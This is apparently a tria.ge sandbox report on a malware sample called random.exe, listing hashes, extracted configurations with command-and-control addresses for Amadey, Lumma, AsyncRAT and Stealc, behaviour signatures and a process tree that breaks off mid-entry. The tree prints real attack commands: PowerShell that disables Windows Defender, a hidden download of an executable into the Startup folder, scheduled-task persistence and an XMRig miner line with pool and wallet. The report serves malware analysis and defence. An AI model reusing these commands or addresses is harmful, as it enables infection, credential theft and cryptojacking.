Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    113s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250314-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14/03/2025, 22:10

General

  • Target

    random.exe

  • Size

    2.0MB

  • MD5

    321b34c0dae5853fda55f5a40b9892a4

  • SHA1

    b707aa6d2b554ac97904252f1264b1ace9655938

  • SHA256

    d682c945603bd8e08ca2016cc7482b118d6573253989738c34c837836c359175

  • SHA512

    2950c8989ab5d3ea5bce42c72c5c12ef9ab142192674d8dc7fe5225a971626bdfcb09aa82f27cd4a68c2ba17069ae9ae09aeb3539dea98a892c5f080dc56e16d

  • SSDEEP

    49152:JCKMe1ymi2WNftQe0/6Stxyva9MW7dUyvj8RqPhmWP:cKLlA30/iva9MgdwaV

Malware Config

Extracted

Family

amadey

Version

5.21

Botnet

092155

C2

http://176.113.115.6

Attributes
  • install_dir

    bb556cff4a

  • install_file

    rapes.exe

  • strings_key

    a131b127e996a898cd19ffb2d92e481b

  • url_paths

    /Ni9kiput/index.php

rc4.plain

Extracted

Family

lumma

C2

https://zfurrycomp.top/api

https://crosshairc.life/api

https://mrodularmall.top/api

https://jowinjoinery.icu/api

https://legenassedk.top/api

https://htardwarehu.icu/api

https://8cjlaspcorne.icu/api

https://bugildbett.top/api

https://adweaponrywo.digital/api

https://begindecafer.world/api

https://garagedrootz.top/api

https://modelshiverd.icu/api

https://arisechairedd.shop/api

https://catterjur.run/api

https://dorangemyther.live/api

https://fostinjec.today/api

https://sterpickced.digital/api

https://biochextryhub.bet/api

https://q8explorebieology.run/api

https://gadgethgfub.icu/api

Extracted

Family

asyncrat

Version

| Controller

Botnet

Default

C2

20.206.204.9:4449

Mutex

ammmjprqjnqswrieh

Attributes
  • delay

    1

  • install

    false

  • install_folder

    %AppData%

aes.plain

Extracted

Family

stealc

Botnet

traff1

Attributes
  • url_path

    /gtthfbsb2h.php

Extracted

Family

lumma

C2

https://moderzysics.top/api

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • Amadey family
  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Asyncrat family
  • GCleaner

    GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.

  • Gcleaner family
  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

  • Lumma family
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 3 IoCs
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 7 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

  • Stealc family
  • StormKitty

    StormKitty is an open source info stealer written in C#.

  • StormKitty payload 1 IoCs
  • Stormkitty family
  • Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
  • UAC bypass 3 TTPs 3 IoCs
  • VenomRAT 3 IoCs

    Detects VenomRAT.

  • Venomrat family
  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Async RAT payload 1 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 7 IoCs
  • XMRig Miner payload 9 IoCs
  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates new service(s) 2 TTPs
  • Downloads MZ/PE file 24 IoCs
  • Drops file in Drivers directory 2 IoCs
  • Stops running service(s) 4 TTPs
  • Uses browser remote debugging 2 TTPs 8 IoCs

    Can be used control the browser and steal sensitive information such as credentials and session cookies.

  • Checks BIOS information in registry 2 TTPs 14 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 6 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 3 IoCs
  • Executes dropped EXE 33 IoCs
  • Identifies Wine through registry keys 2 TTPs 7 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

  • Loads dropped DLL 64 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Registers new Windows logon scripts automatically executed at logon. 1 TTPs 1 IoCs
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 5 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Drops file in System32 directory 4 IoCs
  • Enumerates processes with tasklist 1 TTPs 5 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 11 IoCs
  • Suspicious use of SetThreadContext 11 IoCs
  • UPX packed file 7 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Program Files directory 1 IoCs
  • Drops file in Windows directory 2 IoCs
  • Launches sc.exe 20 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Detects Pyinstaller 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 22 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 10 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Enumerates system info in registry 2 TTPs 9 IoCs
  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 7 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 29 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 3 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:616
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
          PID:332
      • C:\Windows\system32\lsass.exe
        C:\Windows\system32\lsass.exe
        1⤵
          PID:672
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -nop -win 1 -c & {rp hkcu:\environment windir -ea 0;$AveYo=' (\ /) ( * . * ) A limited account protects you from UAC exploits ``` ';$env:1=6;iex((gp Registry::HKEY_Users\S-1-5-21*\Volatile* ToggleDefender -ea 0)[0].ToggleDefender)}
            2⤵
            • Modifies Windows Defender DisableAntiSpyware settings
            • Command and Scripting Interpreter: PowerShell
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:4900
            • C:\Windows\system32\sc.exe
              "C:\Windows\system32\sc.exe" qc windefend
              3⤵
              • Launches sc.exe
              PID:5452
            • C:\Windows\system32\cmd.exe
              "C:\Windows\system32\cmd.exe" /d/r SecurityHealthSystray & "%ProgramFiles%\Windows Defender\MSASCuiL.exe"
              3⤵
                PID:5756
              • C:\Windows\system32\whoami.exe
                "C:\Windows\system32\whoami.exe" /groups
                3⤵
                  PID:4404
                • C:\Windows\system32\net1.exe
                  "C:\Windows\system32\net1.exe" stop windefend
                  3⤵
                    PID:3180
                  • C:\Windows\system32\sc.exe
                    "C:\Windows\system32\sc.exe" config windefend depend= RpcSs-TOGGLE
                    3⤵
                    • Launches sc.exe
                    PID:4656
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -nop -win 1 -c & {rp hkcu:\environment windir -ea 0;$AveYo=' (\ /) ( * . * ) A limited account protects you from UAC exploits ``` ';$env:1=6;iex((gp Registry::HKEY_Users\S-1-5-21*\Volatile* ToggleDefender -ea 0)[0].ToggleDefender)}
                  2⤵
                  • Modifies Windows Defender DisableAntiSpyware settings
                  • Modifies Windows Defender Real-time Protection settings
                  • Command and Scripting Interpreter: PowerShell
                  • Modifies data under HKEY_USERS
                  • Suspicious behavior: EnumeratesProcesses
                  PID:4744
                  • C:\Windows\system32\sc.exe
                    "C:\Windows\system32\sc.exe" qc windefend
                    3⤵
                    • Launches sc.exe
                    PID:5980
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /d/r SecurityHealthSystray & "%ProgramFiles%\Windows Defender\MSASCuiL.exe"
                    3⤵
                      PID:5432
                    • C:\Windows\system32\whoami.exe
                      "C:\Windows\system32\whoami.exe" /groups
                      3⤵
                        PID:4192
                      • C:\Windows\system32\net1.exe
                        "C:\Windows\system32\net1.exe" stop windefend
                        3⤵
                          PID:3392
                        • C:\Windows\system32\sc.exe
                          "C:\Windows\system32\sc.exe" config windefend depend= RpcSs-TOGGLE
                          3⤵
                          • Launches sc.exe
                          PID:4508
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
                      1⤵
                        PID:952
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
                        1⤵
                          PID:408
                        • C:\Windows\System32\svchost.exe
                          C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
                          1⤵
                            PID:392
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                            1⤵
                              PID:1100
                              • C:\Windows\system32\taskhostw.exe
                                taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
                                2⤵
                                  PID:2868
                                • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                  C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                  2⤵
                                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                  • Checks BIOS information in registry
                                  • Executes dropped EXE
                                  • Identifies Wine through registry keys
                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:1472
                                • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                  C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                  2⤵
                                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                  • Checks BIOS information in registry
                                  • Executes dropped EXE
                                  • Identifies Wine through registry keys
                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                  PID:760
                                • C:\Users\Admin\AppData\Local\Temp\845cfbab99\Gxtuum.exe
                                  C:\Users\Admin\AppData\Local\Temp\845cfbab99\Gxtuum.exe
                                  2⤵
                                  • Executes dropped EXE
                                  PID:4736
                              • C:\Windows\System32\svchost.exe
                                C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                                1⤵
                                  PID:1108
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                                  1⤵
                                    PID:1116
                                  • C:\Windows\System32\svchost.exe
                                    C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                                    1⤵
                                      PID:1188
                                    • C:\Windows\system32\svchost.exe
                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                                      1⤵
                                        PID:1260
                                      • C:\Windows\system32\svchost.exe
                                        C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                                        1⤵
                                          PID:1308
                                        • C:\Windows\system32\svchost.exe
                                          C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                                          1⤵
                                            PID:1376
                                          • C:\Windows\system32\svchost.exe
                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                                            1⤵
                                              PID:1404
                                              • C:\Windows\system32\sihost.exe
                                                sihost.exe
                                                2⤵
                                                  PID:2884
                                              • C:\Windows\system32\svchost.exe
                                                C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                                1⤵
                                                  PID:1432
                                                • C:\Windows\system32\svchost.exe
                                                  C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                                  1⤵
                                                    PID:1528
                                                  • C:\Windows\System32\svchost.exe
                                                    C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                                    1⤵
                                                      PID:1548
                                                    • C:\Windows\system32\svchost.exe
                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                                      1⤵
                                                        PID:1672
                                                      • C:\Windows\System32\svchost.exe
                                                        C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                                        1⤵
                                                          PID:1724
                                                        • C:\Windows\System32\svchost.exe
                                                          C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                                          1⤵
                                                            PID:1760
                                                          • C:\Windows\System32\svchost.exe
                                                            C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                                            1⤵
                                                              PID:1824
                                                            • C:\Windows\System32\svchost.exe
                                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                              1⤵
                                                                PID:1836
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                                                1⤵
                                                                  PID:2016
                                                                • C:\Windows\System32\svchost.exe
                                                                  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                                  1⤵
                                                                    PID:2028
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                                    1⤵
                                                                      PID:1012
                                                                    • C:\Windows\System32\svchost.exe
                                                                      C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                                      1⤵
                                                                        PID:1744
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                                        1⤵
                                                                          PID:1772
                                                                        • C:\Windows\System32\spoolsv.exe
                                                                          C:\Windows\System32\spoolsv.exe
                                                                          1⤵
                                                                            PID:2132
                                                                          • C:\Windows\System32\svchost.exe
                                                                            C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                                            1⤵
                                                                              PID:2236
                                                                            • C:\Windows\System32\svchost.exe
                                                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                                              1⤵
                                                                                PID:2340
                                                                              • C:\Windows\system32\svchost.exe
                                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                                                1⤵
                                                                                  PID:2384
                                                                                • C:\Windows\system32\svchost.exe
                                                                                  C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                                                  1⤵
                                                                                    PID:2404
                                                                                  • C:\Windows\system32\svchost.exe
                                                                                    C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                                                                                    1⤵
                                                                                      PID:2588
                                                                                    • C:\Windows\system32\svchost.exe
                                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                                      1⤵
                                                                                        PID:2676
                                                                                      • C:\Windows\sysmon.exe
                                                                                        C:\Windows\sysmon.exe
                                                                                        1⤵
                                                                                          PID:2696
                                                                                        • C:\Windows\System32\svchost.exe
                                                                                          C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                                          1⤵
                                                                                            PID:2732
                                                                                          • C:\Windows\system32\svchost.exe
                                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                                            1⤵
                                                                                              PID:2740
                                                                                            • C:\Windows\system32\svchost.exe
                                                                                              C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                                              1⤵
                                                                                                PID:2968
                                                                                              • C:\Windows\system32\wbem\unsecapp.exe
                                                                                                C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                                                1⤵
                                                                                                  PID:3020
                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
                                                                                                  1⤵
                                                                                                    PID:3112
                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                    C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                                                    1⤵
                                                                                                      PID:3324
                                                                                                    • C:\Windows\Explorer.EXE
                                                                                                      C:\Windows\Explorer.EXE
                                                                                                      1⤵
                                                                                                        PID:3444
                                                                                                        • C:\Users\Admin\AppData\Local\Temp\random.exe
                                                                                                          "C:\Users\Admin\AppData\Local\Temp\random.exe"
                                                                                                          2⤵
                                                                                                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                                          • Checks BIOS information in registry
                                                                                                          • Checks computer location settings
                                                                                                          • Identifies Wine through registry keys
                                                                                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                          • Drops file in Windows directory
                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                          • Suspicious use of FindShellTrayWindow
                                                                                                          • Suspicious use of WriteProcessMemory
                                                                                                          PID:3916
                                                                                                          • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                                                                            "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
                                                                                                            3⤵
                                                                                                            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                                            • Downloads MZ/PE file
                                                                                                            • Checks BIOS information in registry
                                                                                                            • Checks computer location settings
                                                                                                            • Executes dropped EXE
                                                                                                            • Identifies Wine through registry keys
                                                                                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                            • Suspicious use of WriteProcessMemory
                                                                                                            PID:4720
                                                                                                            • C:\Users\Admin\AppData\Local\Temp\10216540101\aacd760bbd.exe
                                                                                                              "C:\Users\Admin\AppData\Local\Temp\10216540101\aacd760bbd.exe"
                                                                                                              4⤵
                                                                                                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                                              • Checks BIOS information in registry
                                                                                                              • Executes dropped EXE
                                                                                                              • Identifies Wine through registry keys
                                                                                                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                              • Suspicious use of SetThreadContext
                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                              • Suspicious use of WriteProcessMemory
                                                                                                              PID:4140
                                                                                                              • C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
                                                                                                                "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
                                                                                                                5⤵
                                                                                                                • Downloads MZ/PE file
                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                PID:3868
                                                                                                            • C:\Users\Admin\AppData\Local\Temp\10216550101\eccc5df656.exe
                                                                                                              "C:\Users\Admin\AppData\Local\Temp\10216550101\eccc5df656.exe"
                                                                                                              4⤵
                                                                                                              • Executes dropped EXE
                                                                                                              • Suspicious use of SetThreadContext
                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                              • Suspicious use of WriteProcessMemory
                                                                                                              PID:4356
                                                                                                              • C:\Users\Admin\AppData\Local\Temp\10216550101\eccc5df656.exe
                                                                                                                "C:\Users\Admin\AppData\Local\Temp\10216550101\eccc5df656.exe"
                                                                                                                5⤵
                                                                                                                • Executes dropped EXE
                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                PID:4432
                                                                                                            • C:\Users\Admin\AppData\Local\Temp\10216560101\ph10F2z.exe
                                                                                                              "C:\Users\Admin\AppData\Local\Temp\10216560101\ph10F2z.exe"
                                                                                                              4⤵
                                                                                                              • Executes dropped EXE
                                                                                                              • Drops file in Program Files directory
                                                                                                              • Enumerates system info in registry
                                                                                                              • Suspicious use of WriteProcessMemory
                                                                                                              PID:4636
                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                powershell.exe -NoProfile -WindowStyle Hidden -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAUAByAG8AZwByAGEAbQAgAEYAaQBsAGUAcwBcAFIAdQBuAHQAaQBtAGUAQQBwAHAAJwA=
                                                                                                                5⤵
                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                PID:4644
                                                                                                              • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                                schtasks.exe /create /tn "SystemHelperTask" /tr "C:\Users\Admin\AppData\Local\Temp\10216560101\ph10F2z.exe" /sc onlogon /rl HIGHEST /f
                                                                                                                5⤵
                                                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                                                PID:3340
                                                                                                              • C:\Program Files\RuntimeApp\0000016883.exe
                                                                                                                "C:\Program Files\RuntimeApp\0000016883.exe"
                                                                                                                5⤵
                                                                                                                • Executes dropped EXE
                                                                                                                • Modifies system certificate store
                                                                                                                PID:3908
                                                                                                            • C:\Users\Admin\AppData\Local\Temp\10216570101\5JIc3BN.exe
                                                                                                              "C:\Users\Admin\AppData\Local\Temp\10216570101\5JIc3BN.exe"
                                                                                                              4⤵
                                                                                                              • Checks computer location settings
                                                                                                              • Executes dropped EXE
                                                                                                              • Suspicious use of WriteProcessMemory
                                                                                                              PID:5032
                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\E31C.tmp\E31D.tmp\E31E.bat C:\Users\Admin\AppData\Local\Temp\10216570101\5JIc3BN.exe"
                                                                                                                5⤵
                                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                                PID:3948
                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                  powershell -WindowStyle Hidden -Command "& {Invoke-WebRequest -Uri 'https://github.com/letzchipman7/fallen/releases/download/v1.0.0/win_init.exe' -OutFile 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\win_init.exe'}"
                                                                                                                  6⤵
                                                                                                                  • Blocklisted process makes network request
                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                  • Downloads MZ/PE file
                                                                                                                  • Drops startup file
                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                  PID:6088
                                                                                                                • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\win_init.exe
                                                                                                                  "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\win_init.exe"
                                                                                                                  6⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  • Suspicious use of SetThreadContext
                                                                                                                  • Modifies system certificate store
                                                                                                                  PID:1372
                                                                                                                  • C:\Windows\System32\notepad.exe
                                                                                                                    --donate-level 2 -o pool.hashvault.pro:443 -u 494k9WqKJKFGDoD9MfnAcjEDcrHMmMNJTUun8rYFRYyPHyoHMJf5sesH79UoM8VfoGYevyzthG86r5BTGYZxmhENTzKajL3 -k -p x --cpu-max-threads-hint=40
                                                                                                                    7⤵
                                                                                                                    • Suspicious use of FindShellTrayWindow
                                                                                                                    PID:2928
                                                                                                                  • C:\Windows\system32\tasklist.exe
                                                                                                                    tasklist /FI "PID eq 2928"
                                                                                                                    7⤵
                                                                                                                    • Enumerates processes with tasklist
                                                                                                                    PID:1540
                                                                                                                  • C:\Windows\system32\tasklist.exe
                                                                                                                    tasklist /FI "PID eq 2928"
                                                                                                                    7⤵
                                                                                                                    • Enumerates processes with tasklist
                                                                                                                    PID:4152
                                                                                                                  • C:\Windows\system32\tasklist.exe
                                                                                                                    tasklist /FI "PID eq 2928"
                                                                                                                    7⤵
                                                                                                                    • Enumerates processes with tasklist
                                                                                                                    PID:4496
                                                                                                                  • C:\Windows\system32\tasklist.exe
                                                                                                                    tasklist /FI "PID eq 2928"
                                                                                                                    7⤵
                                                                                                                    • Enumerates processes with tasklist
                                                                                                                    PID:4372
                                                                                                                  • C:\Windows\system32\tasklist.exe
                                                                                                                    tasklist /FI "PID eq 2928"
                                                                                                                    7⤵
                                                                                                                    • Enumerates processes with tasklist
                                                                                                                    PID:2312
                                                                                                            • C:\Users\Admin\AppData\Local\Temp\10216580101\zY9sqWs.exe
                                                                                                              "C:\Users\Admin\AppData\Local\Temp\10216580101\zY9sqWs.exe"
                                                                                                              4⤵
                                                                                                              • Checks computer location settings
                                                                                                              • Executes dropped EXE
                                                                                                              • Drops file in Windows directory
                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                              • Suspicious use of WriteProcessMemory
                                                                                                              PID:3748
                                                                                                              • C:\Users\Admin\AppData\Local\Temp\845cfbab99\Gxtuum.exe
                                                                                                                "C:\Users\Admin\AppData\Local\Temp\845cfbab99\Gxtuum.exe"
                                                                                                                5⤵
                                                                                                                • Executes dropped EXE
                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                PID:3296
                                                                                                            • C:\Users\Admin\AppData\Local\Temp\10216590101\9JFiKVm.exe
                                                                                                              "C:\Users\Admin\AppData\Local\Temp\10216590101\9JFiKVm.exe"
                                                                                                              4⤵
                                                                                                              • Executes dropped EXE
                                                                                                              • Suspicious use of SetThreadContext
                                                                                                              • Suspicious use of WriteProcessMemory
                                                                                                              PID:4164
                                                                                                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                                                                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                                                                                5⤵
                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                                PID:436
                                                                                                                • C:\Users\Admin\AppData\Roaming\F4Tdmjjv1H.exe
                                                                                                                  "C:\Users\Admin\AppData\Roaming\F4Tdmjjv1H.exe"
                                                                                                                  6⤵
                                                                                                                  • UAC bypass
                                                                                                                  • Checks computer location settings
                                                                                                                  • Executes dropped EXE
                                                                                                                  • Checks whether UAC is enabled
                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                  • System policy modification
                                                                                                                  PID:5136
                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
